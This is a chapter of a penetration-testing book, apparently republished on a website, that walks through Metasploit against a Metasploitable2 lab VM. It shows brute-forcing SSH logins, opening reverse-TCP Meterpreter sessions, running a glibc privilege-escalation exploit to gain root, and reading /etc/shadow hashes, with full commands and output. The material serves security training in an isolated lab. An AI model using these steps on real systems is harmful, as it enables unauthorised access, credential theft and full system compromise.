Skip to content
ImagineWorld

Automating Penetration Testing with Metasploit

node_idnode-book_linux-shell-scripting-for-hackers_chapter-08-automating-penetration-testing-with-metasploit
node_typechapter-node
schema_profileworld.chapter_node.v1
statusactive
entropyhigh
manifoldworld
domainimagineworld.net
authorityinforms
layercorpus
chapter_num8
chapter_titleAutomating Penetration Testing with Metasploit
governed_byCORPUS
constitutional_citationCONSTITUTION
local graph

Chapter 8 — Automating Penetration Testing with Metasploit

Section titled “Chapter 8 — Automating Penetration Testing with Metasploit”

You’ve already seen lots of techniques for scanning and hacking Linux and Unix computers. But, if you think that what you’ve seen so far is cool, I have to tell you that you haven’t seen anything yet.

In this chapter, you’ll work with the Metasploit Framework, which is a very popular tool for penetration testing. It’s already built into Kali Linux, so there’s nothing to install. It might seem a bit daunting at first, but fear not. After I walk you through the basics, I hope that you’ll agree that it’s not as hard as it first seems. Once you master it, you’ll find it extremely useful for finding and exploiting vulnerabilities on your clients’ servers and workstations. And yes, you can even automate your Metasploit testing with some good, old-fashioned shell scripts.

As always, you’ll get some good hands-on practice, using your tools to exploit vulnerabilities in your Metasploitable2 virtual machine.

Topics in this chapter include:

  • Introduction to the Metasploit Framework
  • Understanding the Metasploit modules
  • Getting started with msfconsole
  • Using Metasploit with the PostgreSQL database

If you’re ready, let’s dig in.

To follow along in this chapter, you will need the following:

  • Kali Linux virtual machine
  • Metasploitable2 virtual machine
  • The same Ubuntu Server virtual machine that you’ve been using for the previous chapters. (It’s the one with the mrtux user account.)
  • For a couple of exercises, you’ll need to create another Ubuntu Server virtual machine. Create a user account for mrtux on it, and set his password to AndreaSterbini. Configure it to use a host-only adapter, as you’ve done for the other virtual machines.

You can grab the shell scripts that you’ll be using by running:

git clone https://github.com/PacktPublishing/Linux-Shell-Scripting-for-Hackers

The Metasploit Framework was created by security researcher H. D. Moore back in 2003 as a Free Open Source Software (FOSS) project. It’s now owned by Rapid7, but Mr. Moore is still the lead architect, and it’s still FOSS and free of charge. (For a fee, you can get more bells and whistles and commercial support with Metasploit Pro, but the free-of-charge Framework is all we need for now.)

Think of Metasploit as a Swiss army knife:

Figure 8.1 – A Swiss army knife

Figure 8.1 – A Swiss army knife

A Swiss army knife can’t do everything, but it can do a lot. The same can be said of Metasploit, because you can use it for pretty much every stage of the penetration testing process. Here are some of the things that Metasploit can help you do:

  • Gather information about the target systems and their users.
  • Find weak login credentials for network services such as FTP or SSH.
  • Find and exploit vulnerabilities on the target systems.
  • Escalate a non-privileged user’s access to that of a privileged, administrative user.

Metasploit uses modules to perform its various functions, which are categorized into various module types. Let’s look at these modules now.

There are seven module types, but we’ll only work with the four types that are most commonly used. These four module types are:

  • Auxiliary: You would use auxiliary modules for data gathering, target scanning, or administrative tasks. Some of them can be used to find login passwords, but none of them can perform any actual exploits.
  • Exploits: As the name suggests, you would use these modules to exploit a vulnerability, such as SQL injection, command injection or privilege escalation, on a target host.
  • Payloads: A payload is the arbitrary code that you would run to compromise a host machine. These are often used with exploit modules. After using an exploit module to gain initial access to a server or workstation, a hacker would then upload a payload module that would perform some specific function. For example, a hacker could use a payload to create new user accounts, open a shell, or capture users’ keystrokes.
  • Post: Use these to perform an action on a compromised host, such as collecting data about either the comprised host or the network on which the host is located. They can also be used for maintaining persistent access on the compromised machine.

These modules are stored as Ruby scripts in the /usr/share/metasploit-framework/modules/ directory. Within that directory, you’ll see one subdirectory for each of the seven module types:

┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ ls -l
total 32
drwxr-xr-x 21 root root 4096 Oct 16 18:25 auxiliary
drwxr-xr-x 12 root root 4096 Nov 30 2024 encoders
drwxr-xr-x 3 root root 4096 Nov 30 2024 evasion
drwxr-xr-x 21 root root 4096 Oct 16 18:25 exploits
drwxr-xr-x 14 root root 4096 Apr 23 18:48 nops
drwxr-xr-x 6 root root 4096 Nov 30 2024 payloads
drwxr-xr-x 14 root root 4096 Nov 30 2024 post
-rw-r--r-- 1 root root 434 Oct 8 17:09 README.md
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$

Inside the auxiliary/ subdirectory, you’ll see more subdirectories for different types of scans or information gathering that you’d like to perform, as shown here:

┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ ls -l auxiliary
total 116
drwxr-xr-x 49 root root 4096 Oct 16 18:25 admin
drwxr-xr-x 2 root root 4096 Oct 16 18:25 analyze
drwxr-xr-x 2 root root 4096 Oct 16 18:25 bnat
drwxr-xr-x 8 root root 4096 Nov 30 2024 client
drwxr-xr-x 4 root root 4096 Nov 30 2024 cloud
drwxr-xr-x 2 root root 4096 Oct 16 18:25 crawler
drwxr-xr-x 29 root root 4096 Nov 30 2024 dos
-rwxr-xr-x 1 root root 1473 Oct 8 17:09 example.py
-rw-r--r-- 1 root root 1777 Oct 8 17:09 example.rb
drwxr-xr-x 2 root root 4096 Oct 16 18:25 fileformat
drwxr-xr-x 10 root root 4096 Nov 30 2024 fuzzers
drwxr-xr-x 2 root root 36864 Oct 16 18:25 gather
drwxr-xr-x 2 root root 4096 Oct 16 18:25 parser
drwxr-xr-x 3 root root 4096 Nov 30 2024 pdf
drwxr-xr-x 93 root root 4096 Apr 23 18:48 scanner
drwxr-xr-x 5 root root 4096 Oct 16 18:25 server
drwxr-xr-x 2 root root 4096 Oct 16 18:25 sniffer
drwxr-xr-x 9 root root 4096 Nov 30 2024 spoof
drwxr-xr-x 5 root root 4096 Nov 30 2024 sqli
drwxr-xr-x 2 root root 4096 Oct 16 18:25 voip
drwxr-xr-x 5 root root 4096 Nov 30 2024 vsploit
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$

The first thing you’ll want to attempt is to find user credentials for the target machines, as you did in Chapter 6*, Password Cracking Techniques*. This time, you’ll do it from within the msfconsole, using a Metasploit scanner module.

Within the /usr/share/metasploit-framework/modules/auxiliary/scanner/ directory, you’ll see more subdirectories for the various network services that might be running on the target machines. As you saw in the nmap scan that you performed in Chapter 6, the FTP, SSH, and Telnet services are all running on the Metasploitable2 virtual machine. All three of these services use the same login credentials that are used to log into the operating system. So, you can try finding system login credentials by attacking any one of these three network services. Let’s try attacking SSH first.

First, view the Ruby scripts in the /usr/share/metasploit-framework/modules/auxiliary/scanner/ssh/ directory:

┌──(kali㉿kali)-[/usr/…/modules/auxiliary/scanner/ssh]
└─$ ls -l
total 116
-rw-r--r-- 1 root root 3831 Oct 8 17:09 apache_karaf_command_execution.rb
-rw-r--r-- 1 root root 6238 Oct 8 17:09 cerberus_sftp_enumusers.rb
-rw-r--r-- 1 root root 1689 Oct 8 17:09 detect_kippo.rb
-rw-r--r-- 1 root root 4348 Oct 8 17:09 eaton_xpert_backdoor.rb
-rw-r--r-- 1 root root 3090 Oct 8 17:09 fortinet_backdoor.rb
-rw-r--r-- 1 root root 2411 Oct 8 17:09 juniper_backdoor.rb
-rw-r--r-- 1 root root 4198 Oct 8 17:09 karaf_login.rb
-rw-r--r-- 1 root root 5356 Oct 8 17:09 libssh_auth_bypass.rb
-rw-r--r-- 1 root root 5537 Oct 8 17:09 ssh_enum_git_keys.rb
-rw-r--r-- 1 root root 8262 Oct 8 17:09 ssh_enumusers.rb
-rw-r--r-- 1 root root 13106 Oct 8 17:09 ssh_identify_pubkeys.rb
-rw-r--r-- 1 root root 10664 Oct 8 17:09 ssh_login_pubkey.rb
-rw-r--r-- 1 root root 5523 Oct 8 17:09 ssh_login.rb
-rw-r--r-- 1 root root 11580 Oct 8 17:09 ssh_version.rb
┌──(kali㉿kali)-[/usr/…/modules/auxiliary/scanner/ssh]
└─$

Open the ssh_login.rb file in less, and look at the Description stanza, which should look like this:

'Description' => %q{
This module will test ssh logins on a range of machines and
report successful logins. If you have loaded a database plugin
and connected to a database this module will record successful
logins and hosts so you can track your access.

Okay, cool. You now know what this ssh_login module does. (If you’re wondering about the database that’s mentioned here, I’ll explain it later.) Before you can put this module to good use, you’ll need to know how to work with the msfconsole. We’ll look at that now.

The msfconsole, which we’ll talk about next, does have a search function that can help search for modules that meet your specific criteria. However, you have to be very precise with the search terms in order to avoid seeing mostly irrelevant information. So, many times, I personally find it easier to find what I need by just browsing through the /usr/share/metasploit-framework/modules/ directory.

However, if you’ve found a certain vulnerability on your target system, you can use the searchsploit utility to see if there are exploits for that vulnerability. Then, you can use the msfconsole search function to find a module for that exploit. (You’ll see how to do that in Chapter 12*, End-to-End Penetration Testing Projects.*)

If you don’t already know about existing vulnerabilities, you might be able to use the local_exploit_suggester module to find some. (We’ll talk about this in just a bit.)

The msfconsole is the command-line component of Metasploit. There are three ways to use it:

  • msfconsole: Just typing msfconsole on your Kali terminal allows you to enter the interactive mode.
  • msfconsole -r or resource: This allows you to run a Metasploit scenario that you define in a resource file. Use msfconsole -r to invoke a resource file from a normal Kali shell. Or, use the resource command to invoke a resource file from within the msfconsole interactive mode.
  • msfconsole -x: This allows you to run a Metasploit scenario from a single command on the command-line. You can use these msfconsole -x commands within normal shell scripts.

We’ll begin by using the interactive mode.

In this procedure, you’ll enter your commands at the msfconsole prompt.

In this exercise, we’re ignoring the fact that the msfadmin user on the Metasploitable2 machine has full sudo privileges. Instead, we’ll pretend that msfadmin is just a regular, unprivileged user.

  1. Enter interactive mode simply by typing msfconsole, like this:
    ┌──(kali㉿kali)-[~]
    └─$ msfconsole
  2. After a few informational messages and some ASCII art, you’ll finally see the command prompt, which looks like this:
    msf >
  3. Now that you’re at the msf > command prompt, select the Metasploit module that you want to use. To perform the SSH credential scan, use the use command to select the ssh_login module that you just looked at, like so:
    msf > use auxiliary/scanner/ssh/ssh_login
  4. You’ll now need to set some scan options. Use the show options command to see which ones you need to set. (Unfortunately, I had to cut off the Description part to get a clear screenshot.):

Figure 8.2 – View the module options

Figure 8.2 – View the module options

  1. Set the following options:
    • BRUTEFORCE_SPEED: The speed at which you want to conduct the scan.
      • PASS_FILE: The list of passwords that you want to use. In this case, you’ll use the metasploitable_cewl_wordlist_2.txt file that you created in Chapter 6.
      • RHOSTS: The target or the list of targets that you want to scan. For our present purposes, just set this to the IP address of your Metasploitable2 machine.
      • STOP_ON_SUCCESS: If set to true, the scan will stop after the first valid login credential is found.
      • USER_AS_PASS: If set to true, this module will look for any password that is the same as the login name.
      • USER_FILE: The list of usernames that you want to attack. In this case, you’ll use the metasploitable_users.txt file that you created in Chapter 6.
      • VERBOSE: This will show the unsuccessful login attempts.

Use the set command to set these options, like so:

msf auxiliary(scanner/ssh/ssh_login) > set BRUTEFORCE_SPEED 1
msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE metasploitable_cewl_wordlist_2.txt
msf auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.56.102
msf auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE metasploitable_users.txt
msf auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
msf auxiliary(scanner/ssh/ssh_login) > set USER_AS_PASS true

Note that I set the BRUTEFORCE_SPEED to the minimum value of 1. That’s because—for me at least—any higher setting would cause OpenSSH on the target machine to abort the scan. (Feel free to experiment with higher settings if you like, because it might work for you with a higher setting.)

Also, note that the RHOSTS option can be set to an individual IP address, as you saw in the above example, a range of IP addresses, a whole network address, or multiple individual IP addresses.

Setting it to a single IP address looks like this:

RHOSTS 192.168.56.102

Setting it to a range of addresses looks something like this:

RHOSTS 192.168.56.102-192.168.56.112

Setting it to a network address looks something like this:

RHOSTS 192.168.56.0/24

Setting it to multiple individual IP addresses looks something like this:

RHOSTS 192.168.56.102 192.168.56.112
  1. Type run to start the scan. With the above settings, the results should look like this:
    msf auxiliary(scanner/ssh/ssh_login) > run
    [*] 192.168.56.102:22 - Starting bruteforce
    [+] 192.168.56.102:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
    [!] No active DB -- Credential data will not be saved!
    [*] SSH session 1 opened (192.168.56.101:43723 -> 192.168.56.102:22) at 2025-10-18 16:20:06 -0400
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf auxiliary(scanner/ssh/ssh_login) >
  2. This scan completed very quickly, only because you found an account that uses its username for its password. Of course, you won’t always get that lucky. To see how it goes when you’re not that lucky, disable the USER_AS_PASS option.
    msf auxiliary(scanner/ssh/ssh_login) > set USER_AS_PASS false
  3. Type run to run the scan. This time, your results should look like this:
    msf auxiliary(scanner/ssh/ssh_login) > run
    [*] 192.168.56.102:22 - Starting bruteforce
    [-] 192.168.56.102:22 - Failed: 'msfadmin:Injection'
    [!] No active DB -- Credential data will not be saved!
    [-] 192.168.56.102:22 - Failed: 'msfadmin:Mutillidae'
    [-] 192.168.56.102:22 - Failed: 'msfadmin:JavaScript'
    [-] 192.168.56.102:22 - Failed: 'msfadmin:PeterThoeny'
    [-] 192.168.56.102:22 - Failed: 'msfadmin:Security'
    [-] 192.168.56.102:22 - Failed: 'msfadmin:password'
    [-] 192.168.56.102:22 - Failed: 'msfadmin:Register'
    [-] 192.168.56.102:22 - Failed: 'msfadmin:security'
    [+] 192.168.56.102:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
    [*] SSH session 2 opened (192.168.56.101:35409 -> 192.168.56.102:22) at 2025-10-18 16:36:05 -0400
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf auxiliary(scanner/ssh/ssh_login) >

You still found the credentials for the msfadmin user, except that this time you had to actually scan through the password list in order to do it.

The advantage of using this Metasploit module is that, unlike the hydra utility that you used in Chapter 6, it still works with the old-style host keys that are used in the Metasploitable2 machine. Also, there is a THREADS setting in the ssh_login module that allows you to run parallel login attempts. But, unlike hydra, the ssh_login module only allows you to run one thread per target host. So, if you’re only scanning one target, setting THREADS to a higher number will have no effect.

  1. An option that we haven’t looked at yet is the CreateSession option, which is set to true by default. This means that every time that ssh_login finds a valid set of login credentials, it will log into the target machine and open an SSH session. In this case, we’ve run ssh_login twice, so we now have two sessions, both of which are for the msfadmin user. And, if you set RHOSTS to scan more than one IP address, separate sessions will be opened for each IP address for which valid login credentials have been found. To see the open sessions, use the sessions command, like so:
    msf auxiliary(scanner/ssh/ssh_login) > sessions
    Active sessions
    ===============
    Id Name Type Information Connection
    -- ---- ---- ----------- ----------
    1 shell linux SSH kali @ 192.168.56.101:46023 -> 192.168.56.102:22 (192.168.56.102)
    2 shell linux SSH kali @ 192.168.56.101:34687 -> 192.168.56.102:22 (192.168.56.102)
    msf auxiliary(scanner/ssh/ssh_login) >
  2. Choose to interact with Session 1, like this:
    msf auxiliary(scanner/ssh/ssh_login) > sessions -i 1
  3. You won’t see a command prompt come up, but you can enter commands that don’t require a full terminal environment. For example, you won’t be able to use a text editor, because text editors won’t work properly without a full terminal environment. However, you can enter commands that will help you obtain information about the system. Enter the id, uname -a, and ps aux commands to see what happens:
    msf auxiliary(scanner/ssh/ssh_login) > sessions -i 1
    [*] Starting interaction with 1...
    id
    uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
    cat /etc/os-release
    cat: /etc/os-release: No such file or directory
    uname -a
    Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
    ps aux
    USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
    root 1 0.0 0.3 2844 1692 ? Ss 14:46 0:00 /sbin/init
    root 2 0.0 0.0 0 0 ? S< 14:46 0:00 [kthreadd]
    root 3 0.0 0.0 0 0 ? S< 14:46 0:00 [migration/0]
    root 4 0.0 0.0 0 0 ? S< 14:46 0:00 [ksoftirqd/0]
    . . .
    . . .
    root 4807 0.0 0.4 8052 2396 ? Ss 14:55 0:00 sshd: msfadmin [priv]
    msfadmin 4809 0.0 0.2 8052 1532 ? R 14:55 0:00 sshd: msfadmin@notty
    msfadmin 4816 0.0 0.3 4504 1676 ? Rs 14:55 0:00 -bash
    msfadmin 4875 0.0 0.1 2644 1008 ? R 15:07 0:00 ps aux
  4. Type exit to exit from Session 1.
  5. Next, you’ll upgrade Session 2 to a Meterpreter session. (I’ll explain more about Meterpreter in just a bit.) Upgrade the session by doing:
    msf auxiliary(scanner/ssh/ssh_login) > sessions -u 2
    [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [2]
    [*] Upgrading session ID: 2
    [*] Starting exploit/multi/handler
    [*] Started reverse TCP handler on 192.168.56.101:4433
    [*] Sending stage (1062760 bytes) to 192.168.56.102
    [*] Meterpreter session 3 opened (192.168.56.101:4433 -> 192.168.56.102:41015) at 2025-10-26 15:17:27 -0400
    [*] Command stager progress: 100.00% (773/773 bytes)
    msf auxiliary(scanner/ssh/ssh_login) >
  6. View your active sessions, as you did before in step 8:
    msf auxiliary(scanner/ssh/ssh_login) > sessions
    Active sessions
    ===============
    Id Name Type Information Connection
    -- ---- ---- ----------- ----------
    2 shell linux SSH kali @ 192.168.56.101:33795 -> 192.168.56.102:22 (192.168.56.102)
    3 meterpreter x86/linux msfadmin @ metasploitable.localdomain 192.168.56.101:4433 -> 192.168.56.102:41015 (192.168.56.102)
    msf auxiliary(scanner/ssh/ssh_login) >
  7. You see that Meterpreter is open in Session 3. Interact with Session 3, like so:
    msf auxiliary(scanner/ssh/ssh_login) > sessions -i 3
    [*] Starting interaction with 3...
    meterpreter >

Before we continue to the next step, allow me to explain what Meterpreter is and how it can help you in a penetration test.

Meterpreter is an executable payload module that gets uploaded to the target machine. The main benefits of using Meterpreter instead of a normal shell session are:

  • Meterpreter is stealthier because it runs entirely from system memory. Other than the initial payload file that you uploaded, nothing gets written to the disk of the target machine.
  • Meterpreter uses an encrypted communication link between the attacker machine and the target machine, which makes it a bit harder for security administrators to notice quickly. (Of course, an SSH connection is also encrypted, so that doesn’t matter for our present purposes. However, it might matter if you have to use either the ftp_login or telnet_login module to attack either FTP or Telnet, since both of those protocols are normally unencrypted.)

Meterpreter has built-in commands that can help exploit the target system. (I’ll explain more about these commands after the next step.) To do these types of exploits in a normal shell session, you’d need to create your own custom scripts.

The downside is that Meterpreter is much more useful on Windows targets than it is on Linux targets. There’s a whole lot more cool stuff that Meterpreter can do on Windows than it can do on Linux. Here are a few things that the Windows version can do that the Linux version can’t:

  • Capture keystrokes from the victim machine.
  • Create a golden Kerberos ticket that allows hackers to bypass normal authentication methods.
  • Allow a hacker to view a remote user’s desktop in real time.
  • Create user accounts on the victim machine in order to allow backdoor access for the hacker.

Okay, let’s go on to the next step.

  1. At the meterpreter prompt, type help to view the available Meterpreter commands:
    meterpreter > help
    Core Commands
    =============
    Command Description
    ------- -----------
    ? Help menu
    background Backgrounds the current session
    . . .
    . . .
    Stdapi: Mic Commands
    ====================
    Command Description
    ------- -----------
    listen listen to a saved audio recording via audio player
    mic_list list all microphone interfaces
    mic_start start capturing an audio stream from the target mic
    mic_stop stop capturing audio
    Stdapi: Audio Output Commands
    =============================
    Command Description
    ------- -----------
    play play a waveform audio file (.wav) on the target system
    For more info on a specific command, use <command> -h or help <command>.
    meterpreter >
  2. I can’t possibly explain all of the available Meterpreter commands, but that’s okay. Many of them are pretty much the same as normal Linux/Unix commands, so you shouldn’t have any trouble figuring them out. To see information about using the other commands, try typing help, followed by the command name. (Be aware, though, that not every command has help information.) Now, go ahead and view the help information for the load command, like this:
    meterpreter > help load
    Usage: load ext1 ext2 ext3 ...
    Loads a meterpreter extension module or modules.
    OPTIONS:
    -h Help menu.
    -l List all available extensions.
    meterpreter >
  3. As you see, the load command will load one or more Meterpreter extensions, which will give Meterpreter more functionality. View the list of available extensions, like so:
    meterpreter > load -l
    sniffer
    stdapi
    meterpreter >
  4. Try to load both of these extensions:
    meterpreter > load sniffer stdapi
    Loading extension sniffer...Success.
    [!] The "stdapi" extension has already been loaded.
    meterpreter >
  5. The stdapi extension was already loaded, because it gets loaded by default when you invoke a Meterpreter session. So, all we had to do here was load the sniffer extension. Enter the help command again to see if there are any new commands. At the bottom of the output, you’ll see the Sniffer Commands section. These commands are for capturing network traffic on the target machine. Here’s what the new set of commands looks like:
    . . .
    . . .
    Sniffer Commands
    ================
    Command Description
    ------- -----------
    sniffer_dump Retrieve captured packet data to PCAP file
    sniffer_interfaces Enumerate all sniffable network interfaces
    sniffer_release Free captured packets on a specific interface instead of downloading them
    sniffer_start Start packet capture on a specific interface
    sniffer_stats View statistics of an active capture
    sniffer_stop Stop packet capture on a specific interface
    For more info on a specific command, use <command> -h or help <command>.
    meterpreter >

A lot of the Meterpreter commands, such as all of the sniffer commands, require you to have root user privileges on the target machine. So, these sniffer commands won’t work for you just yet.

Also, note that due to the rate-limiting features of OpenSSH, finding a valid username and password combination for SSH can take a very long time. In our case though, the FTP and Telnet services are also both running and are exposed to the network. So, you can use either the auxiliary/scanner/ftp/ftp_login module or the auxiliary/scanner/telnet/telnet_login module in the same manner that you used the ssh_login module. The main difference is that either one of those modules might yield results faster than what the ssh_login module can, especially if you increase the BRUTEFORCE_SPEED setting. The bottom line is that if other services are exposed to the network, try finding passwords for them first. Due to the rate-limiting features of OpenSSH, you should save the SSH scan as a last resort.

Okay, now that you’ve opened a Meterpreter shell, let’s see what you can do with it. Don’t shut down what you’ve already done with msfconsole, because you’ll be using this setup for the next exercise.

You’ve found the login credentials for the msfadmin user and have used them to log into a Meterpreter session. Since we’re pretending that msfadmin is a normal user with no sudo privileges, your next task is to gain root user privileges for the Meterpreter session. Let’s look at how it’s done.

  1. At the meterpreter command prompt, enter the getuid command to see who you’re logged in as. You should see this:
    meterpreter > getuid
    Server username: msfadmin
    meterpreter >
  2. You now need to scan the target machine for exploitable vulnerabilities. Before you can do that, put the Meterpreter session into the background, like this:
    meterpreter > bg
    [*] Backgrounding session 3...
    msf auxiliary(scanner/ssh/ssh_login) >
  3. Take note of the session ID number, because you’ll use it for the next set of steps.
  4. Use the back command to exit from the ssh_login module.
    msf auxiliary(scanner/ssh/ssh_login) > back
    msf >
  5. Load the local_exploit_suggester module, which you’ll use to scan the target machine for exploitable vulnerabilities:
    msf > use post/multi/recon/local_exploit_suggester
  6. Use the show options command to look at the available options. The only two options are:
    • SESSION: You’ll set this to the session ID number of the Meterpreter session that you just put into the background. This is the only one of the two options that you’ll need to set.
      • SHOWDESCRIPTION: This is set to false by default. Setting it to true will show you detailed information about the exploits that could potentially work on your target machine.
  7. Set the SESSION ID, which in this case is 3.
    msf post(multi/recon/local_exploit_suggester) > set SESSION 3
  8. Use the run command to perform the scan.
    msf post(multi/recon/local_exploit_suggester) > run

When the scan completes, you’ll see a list of 80 different exploits for which this module checked. However, only the first eight of them are listed with a Yes in the Potentially Vulnerable? column, as you see here:

# Name Potentially Vulnerable?
---------- -----------------
1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc Yes
2 exploit/linux/local/glibc_origin_expansion_priv_esc Yes
3 exploit/linux/local/netfilter_priv_esc_ipv4 Yes
4 exploit/linux/local/ptrace_sudo_token_priv_esc Yes
5 exploit/linux/local/su_login Yes
6 exploit/linux/persistence/autostart Yes
7 exploit/multi/persistence/cron Yes
8 exploit/unix/local/setuid_nmap Yes

Only the first four of these are listed as privilege escalation exploits. Let’s try the first one.

  1. Type back to exit the local_exploit_suggester module, and then choose the glibc_ld_audit_dso_load_priv_esc module, like so:
    msf post(multi/recon/local_exploit_suggester) > back
    msf post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
    [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
    msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) >

Note that the default payload is the linux/x64/meterpreter/reverse_tcp payload. Keep that in mind, because it will be important later. (I’ll explain how a payload is used with this module in just a bit, so please bear with me.)

  1. Do a show options command to see the available options. Then, set the SESSION option to the ID number of the current Meterpreter session, and the LHOST option to the host-only adapter address of the Kali virtual machine, like so:
    msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set SESSION 3
    msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set LHOST 192.168.56.101
  2. Type run to run the exploit. Your output should look something like this:
    msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
    [*] Started reverse TCP handler on 192.168.56.101:4444
    [+] The target appears to be vulnerable
    [*] Using target: Linux x86
    [*] Writing '/tmp/.fffRMXD51T' (1271 bytes) ...
    [*] Writing '/tmp/.SJ20fT' (296 bytes) ...
    [*] Writing '/tmp/.CyoHbUW' (250 bytes) ...
    [*] Launching exploit...
    [*] Exploit completed, but no session was created.
    msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) >

In the last line, you see Exploit completed, but no session was created. The fact that no session was created means that the exploit failed. This doesn’t necessarily mean that the target machine isn’t exploitable. The failure to create a session could also be due to either using the wrong IP address or port number for the LHOST or LPORT setting, or it could be due to a networking issue. A networking issue could be caused by a firewall that blocks responses from the target machine to the Kali machine, or by connecting to the target machine via Network Address Translation, which also will block responses. However, in this case, I can tell you that none of those things is an issue. In this case, the problem is just that it doesn’t work with the default payload. So, you’ll need to use another payload instead.

  1. The payload for this exploit is the reverse shell program that you’ll plant onto the Metasploitable2 machine. This reverse shell program will connect back to the Kali machine. (You’ll use this payload in place of the netcat setup that you used in Chapter 7*, Understanding Privilege Escalation and Persistence*.) In this case, the default linux/x64/meterpreter/reverse_tcp listener doesn’t work with the 32-bit operating system that’s running on the Metasploitable2 machine. (I’ll explain more about that in just a bit.) As you’ve just seen, the show options command doesn’t show anything about setting a payload. To see the available payloads, use the show payloads command, like this:
    msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > show payloads

This shows you a list of 54 different payloads. The payload you want is number 33 on the list, which looks like this:

33 payload/linux/x86/meterpreter/reverse_tcp . normal No Linux Mettle x86, Reverse TCP Stager
  1. Set the payload by doing:
    msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload payload/linux/x86/meterpreter/reverse_tcp
  2. Execute the run command again. This time it should work, as you see here:
    msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
    [*] Started reverse TCP handler on 192.168.56.101:4444
    [+] The target appears to be vulnerable
    [*] Using target: Linux x86
    [*] Writing '/tmp/.FYVl8cAGN' (1271 bytes) ...
    [*] Writing '/tmp/.QjMgcDxAfG' (291 bytes) ...
    [*] Writing '/tmp/.2bgjLgI' (207 bytes) ...
    [*] Launching exploit...
    [*] Sending stage (1062760 bytes) to 192.168.56.102
    [*] Meterpreter session 4 opened (192.168.56.101:4444 -> 192.168.56.102:38650) at 2025-12-31 18:28:06 -0500
    meterpreter >
  3. Use the getuid command to see which user you are:
    meterpreter > getuid
    Server username: root
    meterpreter

You’re logged in as the root user, which is exactly what you want to see.

I know, you’re wondering how I knew which payload to set. The answer is in this line of the exploit’s run output:

[*] Using target: Linux x86

So, the target, which in this case means the type of operating system that we’re trying to exploit, is Linux x86. But the default payload is Linux x64. Run the uname -m command on the Metasploitable2 machine to see what the payload should be:

msfadmin@metasploitable:~$ uname -m
i686
msfadmin@metasploitable:~$

The i686 in the output means that Metasploitable2 is running on a 32-bit version of Linux. So, you’ll need to use a Linux x86 payload to make this exploit work. (For some reason that I don’t understand, this exploit module can properly detect the victim machine’s operating system and set the target accordingly, but it can’t automatically set the payload type to match.)

Very few modern systems run 32-bit implementations of Linux, so there’s a good chance that you’ll never encounter this problem in real life.

  1. The bad news, though, as I’ve mentioned before, is that the Meterpreter shell isn’t nearly as useful on Linux as it is on Windows, because the Windows version has a lot more functionality. At this point, the most useful available Meterpreter command for Linux is the shell command. So, go ahead and try the shell command to see what happens:
    meterpreter > shell
    Process 5434 created.
    Channel 1 created.
  2. Run some root -level commands to see if you’re really root:
    meterpreter > shell
    Process 5434 created.
    Channel 1 created.
    id
    uid=0(root) gid=0(root)
    fdisk -l
    Disk /dev/sda: 8589 MB, 8589934592 bytes
    255 heads, 63 sectors/track, 1044 cylinders
    Units = cylinders of 16065 * 512 = 8225280 bytes
    Disk identifier: 0xc3a20c42
    Device Boot Start End Blocks Id System
    /dev/sda1 1 30 240943+ 83 Linux
    /dev/sda2 31 1044 8144955 5 Extended
    /dev/sda5 31 1044 8144923+ 8e Linux LVM
    head -2 /etc/shadow
    root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
    daemon:*:14684:0:99999:7:::
  3. Yes indeed, you have escalated to the root user level, without knowing the root user’s password and without invoking msfadmin ‘s sudo privileges. (Remember, we’re pretending that msfadmin doesn’t have sudo privileges.)
  4. Type exit twice to first exit the root shell, and then to exit the Meterpreter session.
  5. Type exit -y to exit the msfconsole. (You still have some running sessions, which is why you need to use the -y option.)

Next, let’s try using msfconsole with a resource file.

Using interactive mode is fairly easy. But, every time you perform an operation in interactive mode, you have to define the values for the module options. That can get a bit tedious if you need to perform an operation for multiple target machines at different times. One way to alleviate that tedium is to use a resource file in which you define the module options that you’ll use on a fairly constant basis. You can invoke a resource file either by using the resource command from within an interactive msfconsole session, or by using the msfconsole -r command from the Kali command prompt. To demo both of these methods, use the same ssh_login module that you used for the previous exercise.

